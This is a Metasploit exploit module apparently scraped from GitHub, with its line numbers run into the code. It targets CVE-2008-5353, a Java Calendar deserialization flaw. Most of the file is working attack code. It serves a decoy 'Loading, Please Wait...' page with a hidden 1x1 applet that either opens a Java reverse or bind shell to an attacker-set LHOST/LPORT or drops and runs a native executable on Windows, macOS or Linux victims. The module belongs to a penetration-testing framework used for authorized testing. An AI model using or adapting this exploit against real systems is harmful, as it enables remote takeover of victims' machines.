Path: blob/master/modules/exploits/multi/browser/java_calendar_deserialize.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# Superceded by java_atomicreferencearray12# include Msf::Exploit::Remote::BrowserAutopwn13# autopwn_info({ :javascript => false })1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Sun Java Calendar Deserialization Privilege Escalation',20'Description' => %q{21This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.2223The payload can be either a native payload which is generated as an executable and24dropped/executed on the target or a shell from within the Java applet in the target browser.2526The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 1627and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).28},29'License' => MSF_LICENSE,30'Author' => [ 'sf', 'hdm' ],31'References' => [32[ 'CVE', '2008-5353' ],33[ 'OSVDB', '50500'],34[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],35[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],36[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ]37],38'Platform' => %w(linux osx solaris win),39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' => [41[42'Generic (Java Payload)',43{44'Platform' => ['java'],45'Arch' => ARCH_JAVA46}47],48[49'Windows x86 (Native Payload)',50{51'Platform' => 'win',52'Arch' => ARCH_X8653}54],55[56'Mac OS X PPC (Native Payload)',57{58'Platform' => 'osx',59'Arch' => ARCH_PPC60}61],62[63'Mac OS X x86 (Native Payload)',64{65'Platform' => 'osx',66'Arch' => ARCH_X8667}68],69[70'Linux x86 (Native Payload)',71{72'Platform' => 'linux',73'Arch' => ARCH_X8674}75]76],77'DefaultTarget' => 0,78'DisclosureDate' => '2008-12-03',79'Notes' => {80'Reliability' => UNKNOWN_RELIABILITY,81'Stability' => UNKNOWN_STABILITY,82'SideEffects' => UNKNOWN_SIDE_EFFECTS83}84)85)86end8788def exploit89# load the static jar file90path = File.join(Msf::Config.data_directory, "exploits", "CVE-2008-5353.jar")91fd = File.open(path, "rb")92@jar_data = fd.read(fd.stat.size)93fd.close9495super96end9798def on_request_uri(cli, request)99data = nil100host = nil101port = nil102103if !request.uri.match(/\.jar$/i)104if !request.uri.match(/\/$/)105send_redirect(cli, get_resource + '/', '')106return107end108109print_status("#{name} handling request")110111payload = regenerate_payload(cli)112if !payload113print_error("Failed to generate the payload.")114return115end116117if target.name == 'Generic (Java Payload)'118if datastore['LHOST']119jar = payload.encoded120host = datastore['LHOST']121port = datastore['LPORT']122print_status("Payload will be a Java reverse shell")123else124port = datastore['LPORT']125host = cli.peerhost126print_status("Payload will be a Java bind shell")127end128if jar129print_status("Generated jar to drop (#{jar.length} bytes).")130jar = Rex::Text.to_hex(jar, prefix = "")131else132print_error("Failed to generate the executable.")133return134end135else136137# NOTE: The EXE mixin automagically handles detection of arch/platform138data = generate_payload_exe139140print_status("Generated executable to drop (#{data.length} bytes).")141data = Rex::Text.to_hex(data, prefix = "")142143end144145send_response_html(cli, generate_html(data, jar, host, port), 'Content-Type' => 'text/html')146return147end148149print_status("Sending Applet.jar")150send_response(cli, generate_jar, 'Content-Type' => "application/octet-stream")151152handler(cli)153end154155def generate_html(data, jar, host, port)156html = "<html><head><title>Loading, Please Wait...</title></head>"157html += "<body><center><p>Loading, Please Wait...</p></center>"158html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"159html += "<param name=\"data\" value=\"#{data}\"/>" if data160html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar161html += "<param name=\"lhost\" value=\"#{host}\"/>" if host162html += "<param name=\"lport\" value=\"#{port}\"/>" if port163html += "</applet></body></html>"164html165end166167def generate_jar168@jar_data169end170end171172173